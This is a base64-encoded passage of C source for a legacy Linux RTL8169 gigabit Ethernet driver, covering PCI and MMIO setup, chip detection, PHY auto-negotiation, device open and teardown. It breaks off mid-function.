ZXYtPnByaXY7DQoNCgkvLyBlbmFibGUgZGV2aWNlIChpbmNsLiBQQ0kgUE0g d2FrZXVwIGFuZCBob3RwbHVnIHNldHVwKQ0KCXJjID0gcGNpX2VuYWJsZV9k ZXZpY2UgKHBkZXYpOw0KCWlmIChyYykNCgkJZ290byBlcnJfb3V0Ow0KDQoJ bW1pb19zdGFydCA9IHBjaV9yZXNvdXJjZV9zdGFydCAocGRldiwgMSk7DQoJ bW1pb19lbmQgPSBwY2lfcmVzb3VyY2VfZW5kIChwZGV2LCAxKTsNCgltbWlv X2ZsYWdzID0gcGNpX3Jlc291cmNlX2ZsYWdzIChwZGV2LCAxKTsNCgltbWlv X2xlbiA9IHBjaV9yZXNvdXJjZV9sZW4gKHBkZXYsIDEpOw0KDQoJLy8gbWFr ZSBzdXJlIFBDSSBiYXNlIGFkZHIgMSBpcyBNTUlPDQoJaWYgKCEobW1pb19m bGFncyAmIElPUkVTT1VSQ0VfTUVNKSkgew0KCQlwcmludGsgKEtFUk5fRVJS IFBGWCAicmVnaW9uICMxIG5vdCBhbiBNTUlPIHJlc291cmNlLCBhYm9ydGlu Z1xuIik7DQoJCXJjID0gLUVOT0RFVjsNCgkJZ290byBlcnJfb3V0Ow0KCX0N Cg0KCS8vIGNoZWNrIGZvciB3ZWlyZC9icm9rZW4gUENJIHJlZ2lvbiByZXBv cnRpbmcNCglpZiAoIG1taW9fbGVuIDwgUlRMX01JTl9JT19TSVpFICkgew0K CQlwcmludGsgKEtFUk5fRVJSIFBGWCAiSW52YWxpZCBQQ0kgcmVnaW9uIHNp emUocyksIGFib3J0aW5nXG4iKTsNCgkJcmMgPSAtRU5PREVWOw0KCQlnb3Rv IGVycl9vdXQ7DQoJfQ0KDQoNCglyYyA9IHBjaV9yZXF1ZXN0X3JlZ2lvbnMg KHBkZXYsIGRldi0+bmFtZSk7DQoJaWYgKHJjKQ0KCQlnb3RvIGVycl9vdXQ7 DQoNCgkvLyBlbmFibGUgUENJIGJ1cy1tYXN0ZXJpbmcNCglwY2lfc2V0X21h c3RlciAocGRldik7DQoNCg0KCS8vIGlvcmVtYXAgTU1JTyByZWdpb24NCglp b2FkZHIgPSBpb3JlbWFwIChtbWlvX3N0YXJ0LCBtbWlvX2xlbik7DQoJaWYg KGlvYWRkciA9PSBOVUxMKSB7DQoJCXByaW50ayAoS0VSTl9FUlIgUEZYICJj YW5ub3QgcmVtYXAgTU1JTywgYWJvcnRpbmdcbiIpOw0KCQlyYyA9IC1FSU87 DQoJCWdvdG8gZXJyX291dF9mcmVlX3JlczsNCgl9DQoNCg0KCS8vIFNvZnQg cmVzZXQgdGhlIGNoaXAuDQoJUlRMX1c4ICggQ2hpcENtZCwgQ21kUmVzZXQp Ow0KDQoJLy8gQ2hlY2sgdGhhdCB0aGUgY2hpcCBoYXMgZmluaXNoZWQgdGhl IHJlc2V0Lg0KCWZvciAoaSA9IDEwMDA7IGkgPiAwOyBpLS0pew0KCQlpZiAo IChSVExfUjgoQ2hpcENtZCkgJiBDbWRSZXNldCkgPT0gMCl7DQoJCQlicmVh azsNCgkJfQ0KCQllbHNlew0KCQkJdWRlbGF5ICgxMCk7DQoJCX0NCgl9DQoN CgkvLyBpZGVudGlmeSBjaGlwIGF0dGFjaGVkIHRvIGJvYXJkDQoJUlRMX0dF VF9NQUNfVkVSU0lPTihwcml2LT5tYWNfdmVyc2lvbik7DQoJUlRMX0dFVF9Q SFlfVkVSU0lPTihwcml2LT5waHlfdmVyc2lvbik7DQoNCglSVExfUFJJTlRf TUFDX1ZFUlNJT04ocHJpdi0+bWFjX3ZlcnNpb24pOw0KCVJUTF9QUklOVF9Q SFlfVkVSU0lPTihwcml2LT5waHlfdmVyc2lvbik7DQoNCg0KDQoJZm9yIChp ID0gQVJSQVlfU0laRSAocnRsX2NoaXBfaW5mbykgLSAxOyBpID49IDA7IGkt LSl7DQoJCWlmIChwcml2LT5tYWNfdmVyc2lvbiA9PSBydGxfY2hpcF9pbmZv W2ldLm1hY192ZXJzaW9uKSB7DQoJCQlwcml2LT5jaGlwc2V0ID0gaTsNCgkJ CWdvdG8gbWF0Y2g7DQoJCX0NCgl9DQoNCgkvL2lmIHVua25vd24gY2hpcCwg YXNzdW1lIGFycmF5IGVsZW1lbnQgIzAsIG9yaWdpbmFsIFJUTC04MTY5IGlu IHRoaXMgY2FzZQ0KCXByaW50ayAoS0VSTl9ERUJVRyBQRlggIlBDSSBkZXZp Y2UgJXM6IHVua25vd24gY2hpcCB2ZXJzaW9uLCBhc3N1bWluZyBSVEwtODE2 OVxuIiwgcGRldi0+c2xvdF9uYW1lKTsNCglwcml2LT5jaGlwc2V0ID0gMDsN Cg0KbWF0Y2g6DQoNCgkqaW9hZGRyX291dCA9IGlvYWRkcjsNCgkqZGV2X291 dCA9IGRldjsNCglyZXR1cm4gMDsNCg0KLy9lcnJfb3V0X2lvdW5tYXA6DQov Lwlhc3NlcnQgKGlvYWRkciA+IDApOw0KLy8JaW91bm1hcCAoaW9hZGRyKTsN Cg0KZXJyX291dF9mcmVlX3JlczoNCglwY2lfcmVsZWFzZV9yZWdpb25zIChw ZGV2KTsNCg0KZXJyX291dDoNCgl1bnJlZ2lzdGVyX25ldGRldiAoZGV2KTsN CglrZnJlZSAoZGV2KTsNCglyZXR1cm4gcmM7DQp9DQoNCg0KDQoNCg0KDQoN Ci8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09DQpzdGF0aWMgaW50IF9fZGV2aW5pdCBydGw4MTY5 X2luaXRfb25lIChzdHJ1Y3QgcGNpX2RldiAqcGRldiwgY29uc3Qgc3RydWN0 IHBjaV9kZXZpY2VfaWQgKmVudCkNCnsNCglzdHJ1Y3QgbmV0X2RldmljZSAq ZGV2ID0gTlVMTDsNCglzdHJ1Y3QgcnRsODE2OV9wcml2YXRlICpwcml2ID0g TlVMTDsNCgl2b2lkICppb2FkZHIgPSBOVUxMOw0KCXN0YXRpYyBpbnQgYm9h cmRfaWR4ID0gLTE7DQoJaW50IGk7DQoJaW50IG9wdGlvbiA9IC0xLCBDYXAx MF8xMDAgPSAwLCBDYXAxMDAwID0gMDsNCg0KDQoJYXNzZXJ0IChwZGV2ICE9 IE5VTEwpOw0KCWFzc2VydCAoZW50ICE9IE5VTEwpOw0KDQoJYm9hcmRfaWR4 Kys7DQoNCg0KCWkgPSBydGw4MTY5X2luaXRfYm9hcmQgKHBkZXYsICZkZXYs ICZpb2FkZHIpOw0KCWlmIChpIDwgMCkgew0KCQlyZXR1cm4gaTsNCgl9DQoN Cglwcml2ID0gZGV2LT5wcml2Ow0KDQoJYXNzZXJ0IChpb2FkZHIgIT0gTlVM TCk7DQoJYXNzZXJ0IChkZXYgIT0gTlVMTCk7DQoJYXNzZXJ0IChwcml2ICE9 IE5VTEwpOw0KDQoJLy8gR2V0IE1BQyBhZGRyZXNzIC8vDQoJZm9yIChpID0g MDsgaSA8IE1BQ19BRERSX0xFTiA7IGkrKyl7DQoJCWRldi0+ZGV2X2FkZHJb aV0gPSBSVExfUjgoIE1BQzAgKyBpICk7DQoJfQ0KDQoJZGV2LT5vcGVuCQk9 IHJ0bDgxNjlfb3BlbjsNCglkZXYtPmhhcmRfc3RhcnRfeG1pdCAJPSBydGw4 MTY5X3N0YXJ0X3htaXQ7DQoJZGV2LT5nZXRfc3RhdHMgICAgCT0gcnRsODE2 OV9nZXRfc3RhdHM7DQoJZGV2LT5zdG9wIAkJPSBydGw4MTY5X2Nsb3NlOw0K CWRldi0+dHhfdGltZW91dCAJPSBydGw4MTY5X3R4X3RpbWVvdXQ7DQoJZGV2 LT5zZXRfbXVsdGljYXN0X2xpc3QgPSBydGw4MTY5X3NldF9yeF9tb2RlOw0K CWRldi0+d2F0Y2hkb2dfdGltZW8gCT0gVFhfVElNRU9VVDsNCglkZXYtPmly cSAJCT0gcGRldi0+aXJxOw0KCWRldi0+YmFzZV9hZGRyIAkJPSAodW5zaWdu ZWQgbG9uZykgaW9hZGRyOw0KLy8JZGV2LT5kb19pb2N0bCAJCT0gbWlpX2lv Y3RsOw0KDQoJcHJpdiA9IGRldi0+cHJpdjsJCQkJLy8gcHJpdmF0ZSBkYXRh IC8vDQoJcHJpdi0+cGNpX2RldiAJPSBwZGV2Ow0KCXByaXYtPm1taW9fYWRk ciAJPSBpb2FkZHI7DQoNCglzcGluX2xvY2tfaW5pdCAoJnByaXYtPmxvY2sp Ow0KCQ0KCXBkZXYtPmRyaXZlcl9kYXRhID0gZGV2Ow0KDQoJcHJpbnRrIChL RVJOX0RFQlVHICIlczogSWRlbnRpZmllZCBjaGlwIHR5cGUgaXMgJyVzJy5c biIsZGV2LT5uYW1lLHJ0bF9jaGlwX2luZm9bcHJpdi0+Y2hpcHNldF0ubmFt ZSk7DQoJcHJpbnRrIChLRVJOX0lORk8gIiVzOiAlcyBhdCAweCVseCwgIg0K CQkJCSIlMi4yeDolMi4yeDolMi4yeDolMi4yeDolMi4yeDolMi4yeCwgIg0K CQkJCSJJUlEgJWRcbiIsDQoJCQkJZGV2LT5uYW1lLA0KCQkJCVJUTDgxNjlf RFJJVkVSX05BTUUsDQoJCQkJZGV2LT5iYXNlX2FkZHIsDQoJCQkJZGV2LT5k ZXZfYWRkclswXSwgZGV2LT5kZXZfYWRkclsxXSwNCgkJCQlkZXYtPmRldl9h ZGRyWzJdLCBkZXYtPmRldl9hZGRyWzNdLA0KCQkJCWRldi0+ZGV2X2FkZHJb NF0sIGRldi0+ZGV2X2FkZHJbNV0sDQoJCQkJZGV2LT5pcnEpOw0KDQoJDQoJ Ly8gQ29uZmlnIFBIWQ0KCXJ0bDgxNjlfaHdfUEhZX2NvbmZpZyhkZXYpOw0K DQoJREJHX1BSSU5UKCJTZXQgTUFDIFJlZyBDK0NSIE9mZnNldCAweDgyaCA9 IDB4MDFoXG4iKTsNCglSVExfVzgoIDB4ODIsIDB4MDEgKTsNCg0KDQoJaWYo IHByaXYtPm1hY192ZXJzaW9uIDwgUlRMX0dJR0FfTUFDX1ZFUl9FICl7DQoJ CURCR19QUklOVCgiU2V0IFBDSSBMYXRlbmN5PTB4NDBcbiIpOw0KCQlwY2lf d3JpdGVfY29uZmlnX2J5dGUocGRldiwgUENJX0xBVEVOQ1lfVElNRVIsIDB4 NDApOw0KCX0NCg0KCWlmKCBwcml2LT5tYWNfdmVyc2lvbiA9PSBSVExfR0lH QV9NQUNfVkVSX0QgKXsNCgkJREJHX1BSSU5UKCJTZXQgTUFDIFJlZyBDK0NS IE9mZnNldCAweDgyaCA9IDB4MDFoXG4iKTsNCgkJUlRMX1c4KCAweDgyLCAw eDAxICk7DQoJCURCR19QUklOVCgiU2V0IFBIWSBSZWcgMHgwYmggPSAweDAw aFxuIik7DQoJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMHgw YiwgMHgwMDAwICk7CS8vdyAweDBiIDE1IDAgMA0KCX0NCg0KCS8vIGlmIFRC SSBpcyBub3QgZW5kYmxlZA0KCWlmKCAhKFJUTF9SOChQSFlzdGF0dXMpICYg VEJJX0VuYWJsZSkgKXsNCgkJaW50CXZhbCA9IFJUTDgxNjlfUkVBRF9HTUlJ X1JFRyggaW9hZGRyLCBQSFlfQVVUT19ORUdPX1JFRyApOw0KDQoJCW9wdGlv biA9IChib2FyZF9pZHggPj0gTUFYX1VOSVRTKSA/IDAgOiBtZWRpYVtib2Fy ZF9pZHhdOw0KCQkvLyBGb3JjZSBSVEw4MTY5IGluIDEwLzEwMC8xMDAwIEZ1 bGwvSGFsZiBtb2RlLg0KCQlpZiggb3B0aW9uID4gMCApew0KCQkJcHJpbnRr KEtFUk5fSU5GTyAiJXM6IEZvcmNlLW1vZGUgRW5hYmxlZC4gXG4iLCBkZXYt Pm5hbWUpOw0KCQkJQ2FwMTBfMTAwID0gMDsNCgkJCUNhcDEwMDAgPSAwOw0K CQkJc3dpdGNoKCBvcHRpb24gKXsNCgkJCQljYXNlIF8xMF9IYWxmOg0KCQkJ CQkJQ2FwMTBfMTAwID0gUEhZX0NhcF8xMF9IYWxmOw0KCQkJCQkJQ2FwMTAw MCA9IFBIWV9DYXBfTnVsbDsNCgkJCQkJCWJyZWFrOw0KCQkJCWNhc2UgXzEw X0Z1bGw6DQoJCQkJCQlDYXAxMF8xMDAgPSBQSFlfQ2FwXzEwX0Z1bGwgfCBQ SFlfQ2FwXzEwX0hhbGY7DQoJCQkJCQlDYXAxMDAwID0gUEhZX0NhcF9OdWxs Ow0KCQkJCQkJYnJlYWs7DQoJCQkJY2FzZSBfMTAwX0hhbGY6DQoJCQkJCQlD YXAxMF8xMDAgPSBQSFlfQ2FwXzEwMF9IYWxmIHwgUEhZX0NhcF8xMF9GdWxs IHwgUEhZX0NhcF8xMF9IYWxmOw0KCQkJCQkJQ2FwMTAwMCA9IFBIWV9DYXBf TnVsbDsNCgkJCQkJCWJyZWFrOw0KCQkJCWNhc2UgXzEwMF9GdWxsOg0KCQkJ CQkJQ2FwMTBfMTAwID0gUEhZX0NhcF8xMDBfRnVsbCB8IFBIWV9DYXBfMTAw X0hhbGYgfCBQSFlfQ2FwXzEwX0Z1bGwgfCBQSFlfQ2FwXzEwX0hhbGY7DQoJ CQkJCQlDYXAxMDAwID0gUEhZX0NhcF9OdWxsOw0KCQkJCQkJYnJlYWs7DQoJ CQkJY2FzZSBfMTAwMF9GdWxsOg0KCQkJCQkJQ2FwMTBfMTAwID0gUEhZX0Nh cF8xMDBfRnVsbCB8IFBIWV9DYXBfMTAwX0hhbGYgfCBQSFlfQ2FwXzEwX0Z1 bGwgfCBQSFlfQ2FwXzEwX0hhbGY7DQoJCQkJCQlDYXAxMDAwID0gUEhZX0Nh cF8xMDAwX0Z1bGw7DQoJCQkJCQlicmVhazsNCgkJCQlkZWZhdWx0Og0KCQkJ CQkJYnJlYWs7DQoJCQl9DQoJCQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBp b2FkZHIsIFBIWV9BVVRPX05FR09fUkVHLCBDYXAxMF8xMDAgfCAoIHZhbCYw eDFGICkgKTsJLy9sZWF2ZSBQSFlfQVVUT19ORUdPX1JFRyBiaXQ0OjAgdW5j aGFuZ2VkDQoJCQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2FkZHIsIFBI WV8xMDAwX0NUUkxfUkVHLCBDYXAxMDAwICk7DQoJCX0NCgkJZWxzZXsNCgkJ CXByaW50ayhLRVJOX0lORk8gIiVzOiBBdXRvLW5lZ290aWF0aW9uIEVuYWJs ZWQuXG4iLCBkZXYtPm5hbWUpOw0KDQoJCQkvLyBlbmFibGUgMTAvMTAwIEZ1 bGwvSGFsZiBNb2RlLCBsZWF2ZSBQSFlfQVVUT19ORUdPX1JFRyBiaXQ0OjAg dW5jaGFuZ2VkDQoJCQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2FkZHIs IFBIWV9BVVRPX05FR09fUkVHLA0KCQkJCVBIWV9DYXBfMTBfSGFsZiB8IFBI WV9DYXBfMTBfRnVsbCB8IFBIWV9DYXBfMTAwX0hhbGYgfCBQSFlfQ2FwXzEw MF9GdWxsIHwgKCB2YWwmMHgxRiApICk7DQoNCgkJCS8vIGVuYWJsZSAxMDAw IEZ1bGwgTW9kZQ0KCQkJUlRMODE2OV9XUklURV9HTUlJX1JFRyggaW9hZGRy LCBQSFlfMTAwMF9DVFJMX1JFRywgUEhZX0NhcF8xMDAwX0Z1bGwgKTsNCg0K CQl9Ly8gZW5kIG9mIGlmKCBvcHRpb24gPiAwICkNCg0KCQkvLyBFbmFibGUg YXV0by1uZWdvdGlhdGlvbiBhbmQgcmVzdGFydCBhdXRvLW5pZ290aWF0aW9u DQoJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgUEhZX0NUUkxf UkVHLCBQSFlfRW5hYmxlX0F1dG9fTmVnbyB8IFBIWV9SZXN0YXJ0X0F1dG9f TmVnbyApOw0KCQl1ZGVsYXkoMTAwKTsNCg0KCQkvLyB3YWl0IGZvciBhdXRv LW5lZ290aWF0aW9uIHByb2Nlc3MNCgkJZm9yKCBpID0gMTAwMDA7IGkgPiAw OyBpLS0gKXsNCgkJCS8vY2hlY2sgaWYgYXV0by1uZWdvdGlhdGlvbiBjb21w bGV0ZQ0KCQkJaWYoIFJUTDgxNjlfUkVBRF9HTUlJX1JFRyhpb2FkZHIsIFBI WV9TVEFUX1JFRykgJiBQSFlfQXV0b19OZWNvX0NvbXAgKXsNCgkJCQl1ZGVs YXkoMTAwKTsNCgkJCQlvcHRpb24gPSBSVExfUjgoUEhZc3RhdHVzKTsNCgkJ CQlpZiggb3B0aW9uICYgXzEwMDBicHNGICl7DQoJCQkJCXByaW50ayhLRVJO X0lORk8gIiVzOiAxMDAwTWJwcyBGdWxsLWR1cGxleCBvcGVyYXRpb24uXG4i LCBkZXYtPm5hbWUpOw0KCQkJCX0NCgkJCQllbHNlew0KCQkJCQlwcmludGso S0VSTl9JTkZPICIlczogJXNNYnBzICVzLWR1cGxleCBvcGVyYXRpb24uXG4i LCBkZXYtPm5hbWUsDQoJCQkJCQkJKG9wdGlvbiAmIF8xMDBicHMpID8gIjEw MCIgOiAiMTAiLCAob3B0aW9uICYgRnVsbER1cCkgPyAiRnVsbCIgOiAiSGFs ZiIgKTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQllbHNlew0KCQkJ CXVkZWxheSgxMDApOw0KCQkJfS8vIGVuZCBvZiBpZiggUlRMODE2OV9SRUFE X0dNSUlfUkVHKGlvYWRkciwgMSkgJiAweDIwICkNCgkJfS8vIGVuZCBmb3It bG9vcCB0byB3YWl0IGZvciBhdXRvLW5lZ290aWF0aW9uIHByb2Nlc3MNCg0K CX0vLyBlbmQgb2YgVEJJIGlzIG5vdCBlbmFibGVkDQoJZWxzZXsNCgkJdWRl bGF5KDEwMCk7DQoJCXByaW50ayhLRVJOX0lORk8gIiVzOiAxMDAwTWJwcyBG dWxsLWR1cGxleCBvcGVyYXRpb24sIFRCSSBMaW5rICVzIVxuIiwNCgkJCQkJ CQlkZXYtPm5hbWUsIChSVExfUjMyKFRCSUNTUikgJiBUQklMaW5rT0spID8g Ik9LIiA6ICJGYWlsZWQiICk7DQoNCgl9Ly8gZW5kIG9mIFRCSSBpcyBub3Qg ZW5hYmxlZA0KDQoJcmV0dXJuIDA7DQp9DQoNCg0KDQoNCg0KDQoNCi8vPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQpzdGF0aWMgdm9pZCBfX2RldmV4aXQgcnRsODE2OV9yZW1v dmVfb25lIChzdHJ1Y3QgcGNpX2RldiAqcGRldikNCnsNCglzdHJ1Y3QgbmV0 X2RldmljZSAqZGV2ID0gcGRldi0+ZHJpdmVyX2RhdGE7DQoJc3RydWN0IHJ0 bDgxNjlfcHJpdmF0ZSAqcHJpdiA9IChzdHJ1Y3QgcnRsODE2OV9wcml2YXRl ICopIChkZXYtPnByaXYpOw0KDQoJYXNzZXJ0IChkZXYgIT0gTlVMTCk7DQoJ YXNzZXJ0IChwcml2ICE9IE5VTEwpOw0KDQoJdW5yZWdpc3Rlcl9uZXRkZXYg KGRldik7DQoJaW91bm1hcCAocHJpdi0+bW1pb19hZGRyKTsNCglwY2lfcmVs ZWFzZV9yZWdpb25zIChwZGV2KTsNCg0KCS8vIHBvaXNvbiBtZW1vcnkgYmVm b3JlIGZyZWVpbmcNCgltZW1zZXQgKGRldiwgMHhCQywgc2l6ZW9mIChzdHJ1 Y3QgbmV0X2RldmljZSkgKwlzaXplb2YgKHN0cnVjdCBydGw4MTY5X3ByaXZh dGUpKTsNCg0KCWtmcmVlIChkZXYpOw0KCXBkZXYtPmRyaXZlcl9kYXRhID0g TlVMTDsNCn0NCg0KDQoNCg0KDQoNCg0KLy89PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN0YXRp YyBpbnQgcnRsODE2OV9vcGVuIChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQ0K ew0KCXN0cnVjdCBydGw4MTY5X3ByaXZhdGUgKnByaXYgPSBkZXYtPnByaXY7 DQoJaW50IHJldHZhbDsNCgl1OCBkaWZmOw0KCXUzMiBUeFBoeUFkZHIsIFJ4 UGh5QWRkcjsNCg0KDQoJaWYoIHByaXYtPmRydmluaXRfZmFpbCA9PSAxICl7 DQoJCXByaW50aygiJXM6IEdpZ2FiaXQgZHJpdmVyIG9wZW4gZmFpbGVkLlxu IiwgZGV2LT5uYW1lICk7DQoJCXJldHVybiAtRU5PTUVNOw0KCX0NCg0KCXJl dHZhbCA9IHJlcXVlc3RfaXJxIChkZXYtPmlycSwgcnRsODE2OV9pbnRlcnJ1 cHQsIFNBX1NISVJRLCBkZXYtPm5hbWUsIGRldik7DQoJaWYgKHJldHZhbCkg ew0KCQlyZXR1cm4gcmV0dmFsOw0KCX0NCg0KDQoJLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vDQoJcHJpdi0+VHhEZXNjQXJyYXlzID0ga21h bGxvYyggTlVNX1RYX0RFU0MgKiBzaXplb2Yoc3RydWN0IFR4RGVzYykrMjU2 ICwgR0ZQX0tFUk5FTCApOw0KCS8vIFR4IERlc3NjcmlwdG9yIG5lZWRzIDI1 NiBieXRlcyBhbGlnbm1lbnQ7DQoJVHhQaHlBZGRyID0gdmlydF90b19idXMo cHJpdi0+VHhEZXNjQXJyYXlzKTsNCglkaWZmID0gMjU2IC0gKFR4UGh5QWRk ci0oKFR4UGh5QWRkciA+PiA4KTw8IDgpKTsNCglUeFBoeUFkZHIgKz0gZGlm ZjsNCglwcml2LT5UeERlc2NBcnJheSA9IChzdHJ1Y3QgVHhEZXNjICopKHBy aXYtPlR4RGVzY0FycmF5cyArIGRpZmYpOw0KDQoJcHJpdi0+UnhEZXNjQXJy YXlzID0ga21hbGxvYyggTlVNX1JYX0RFU0MgKiBzaXplb2Yoc3RydWN0IFJ4 RGVzYykrMjU2ICwgR0ZQX0tFUk5FTCApOw0KCS8vIFJ4IERlc3NjcmlwdG9y IG5lZWRzIDI1NiBieXRlcyBhbGlnbm1lbnQ7DQoJUnhQaHlBZGRyID0gdmly dF90b19idXMocHJpdi0+UnhEZXNjQXJyYXlzKTsNCglkaWZmID0gMjU2IC0g KFJ4UGh5QWRkci0oKFJ4UGh5QWRkciA+PiA4KTw8IDgpKTsNCglSeFBoeUFk ZHIgKz0gZGlmZjsNCglwcml2LT5SeERlc2NBcnJheSA9IChzdHJ1Y3QgUnhE ZXNjICopKHByaXYtPlJ4RGVzY0FycmF5cyArIGRpZmYpOw0KDQoJaWYgKCBw cml2LT5UeERlc2NBcnJheXMgPT0gTlVMTCB8fCBwcml2LT5SeERlc2NBcnJh eXMgPT0gTlVMTCApIHsNCgkJcHJpbnRrKEtFUk5fSU5GTyJBbGxvY2F0ZSBS eERlc2NBcnJheSBvciBUeERlc2NBcnJheSBmYWlsZWRcbiIpOw0KCQlmcmVl X2lycShkZXYtPmlycSwgZGV2KTsNCgkJaWYgKHByaXYtPlR4RGVzY0FycmF5 cykga2ZyZWUocHJpdi0+VHhEZXNjQXJyYXlzKTsNCgkJaWYgKHByaXYtPlJ4 RGVzY0FycmF5cykga2ZyZWUocHJpdi0+UnhEZXNjQXJyYXlzKTsNCgkJcmV0 dXJuIC1FTk9NRU07DQoJfQ0KDQoJew0KICAgICAgICBpbnQgaTsNCgkJc3Ry dWN0IHNrX2J1ZmYgKnNrYiA9IE5VTEw7DQoNCgkJZm9yKGk9MDtpPE5VTV9S WF9ERVNDO2krKyl7DQoJCQlza2IgPSBSVEw4MTY5X0FMTE9DX1JYU0tCKE1B WF9SWF9TS0JEQVRBX1NJWkUpOw0KCQkJaWYoIHNrYiAhPSBOVUxMICkgew0K CQkJCXNrYl9yZXNlcnZlIChza2IsIDIpOwkvLyAxNiBieXRlIGFsaWduIHRo ZSBJUCBmaWVsZHMuIC8vDQoJCQkJcHJpdi0+Unhfc2tidWZmW2ldID0gc2ti Ow0KCQkJfQ0KCQkJZWxzZXsNCgkJCQlwcmludGsoIiVzOiBHaWdhYml0IGRy aXZlciBmYWlsZWQgdG8gYWxsb2NhdGUgc2tidWZmLlxuIiwgZGV2LT5uYW1l KTsNCgkJCQlwcml2LT5kcnZpbml0X2ZhaWwgPSAxOw0KCQkJfQ0KCQl9DQoJ fQ0KDQoNCgkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCgly dGw4MTY5X2luaXRfcmluZyAoZGV2KTsNCglydGw4MTY5X2h3X3N0YXJ0IChk ZXYpOw0KDQoJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJaWYoIChwcml2LT5tYWNfdmVyc2lv biA+IFJUTF9HSUdBX01BQ19WRVJfQikgJiYgKHByaXYtPnBoeV92ZXJzaW9u IDwgUlRMX0dJR0FfUEhZX1ZFUl9HKSApew0KCQlEQkdfUFJJTlQoIkZJWCBQ Q1MgLT4gcnRsODE2OV9yZXF1ZXN0X3RpbWVyXG4iKTsNCgkJcnRsODE2OV9y ZXF1ZXN0X3RpbWVyKCAoJnByaXYtPnBoeV90aW1lcl90KSwgMTAwLCBydGw4 MTY5X3BoeV90aW1lcl90X2hhbmRsZXIsICgodm9pZCAqKWRldikgKTsgIC8v aW4gb3BlbigpDQoJCXByaXYtPnBoeV9saW5rX2Rvd25fY250ID0gMDsNCgl9 DQoNCglEQkdfUFJJTlQoIiVzOiAlcygpIGFsbG9jX3J4c2tiX2NudCA9ICVk XG4iLCBkZXYtPm5hbWUsIF9fRlVOQ1RJT05fXywgYWxsb2Nfcnhza2JfY250 ICk7DQoNCglyZXR1cm4gMDsNCg0KfS8vZW5kIG9mIHJ0bDgxNjlfb3BlbiAo c3RydWN0IG5ldF9kZXZpY2UgKmRldikNCg0KDQoNCg0KDQovLz09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PQ0Kc3RhdGljIHZvaWQgcnRsODE2OV9od19QSFlfcmVzZXQoc3RydWN0 IG5ldF9kZXZpY2UgKmRldikNCnsNCglpbnQgdmFsLCBwaHlfcmVzZXRfZXhw aXJldGltZSA9IDUwOw0KCXN0cnVjdCBydGw4MTY5X3ByaXZhdGUgKnByaXYg PSBkZXYtPnByaXY7DQoJdm9pZCAqaW9hZGRyID0gcHJpdi0+bW1pb19hZGRy Ow0KDQoJREJHX1BSSU5UKCIlczogUmVzZXQgUlRMODE2OXMgUEhZXG4iLCBk ZXYtPm5hbWUpOw0KDQoJdmFsID0gKCBSVEw4MTY5X1JFQURfR01JSV9SRUco IGlvYWRkciwgMCApIHwgMHg4MDAwICkgJiAweGZmZmY7DQoJUlRMODE2OV9X UklURV9HTUlJX1JFRyggaW9hZGRyLCAwLCB2YWwgKTsNCg0KCWRvIC8vd2Fp dGluZyBmb3IgcGh5IHJlc2V0DQoJew0KCQlpZiggUlRMODE2OV9SRUFEX0dN SUlfUkVHKCBpb2FkZHIsIDAgKSAmIDB4ODAwMCApew0KCQkJcGh5X3Jlc2V0 X2V4cGlyZXRpbWUgLS07DQoJCQl1ZGVsYXkoMTAwKTsNCgkJfQ0KCQllbHNl ew0KCQkJYnJlYWs7DQoJCX0NCgl9d2hpbGUoIHBoeV9yZXNldF9leHBpcmV0 aW1lID49IDAgKTsNCg0KCWFzc2VydCggcGh5X3Jlc2V0X2V4cGlyZXRpbWUg PiAwICk7DQp9DQoNCg0KDQoNCi8vPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdGF0aWMgdm9p ZCBydGw4MTY5X2h3X1BIWV9jb25maWcgKHN0cnVjdCBuZXRfZGV2aWNlICpk ZXYpDQp7DQoJc3RydWN0IHJ0bDgxNjlfcHJpdmF0ZSAqcHJpdiA9IGRldi0+ cHJpdjsNCgl2b2lkICppb2FkZHIgPSBwcml2LT5tbWlvX2FkZHI7DQoJaW50 IHZhbDsNCg0KCVJUTF9QUklOVF9NQUNfVkVSU0lPTihwcml2LT5tYWNfdmVy c2lvbik7DQoJUlRMX1BSSU5UX1BIWV9WRVJTSU9OKHByaXYtPnBoeV92ZXJz aW9uKTsNCg0KCWlmKCAocHJpdi0+bWFjX3ZlcnNpb24gPiBSVExfR0lHQV9N QUNfVkVSX0IpICYmICggcHJpdi0+cGh5X3ZlcnNpb24gPCBSVExfR0lHQV9Q SFlfVkVSX0YgKSApDQoJew0KCQkJREJHX1BSSU5UKCJNQUMgdmVyc2lvbiE9 MCAmJiBQSFkgdmVyc2lvbiA9PSAwIG9yIDFcbiIpOw0KCQkJREJHX1BSSU5U 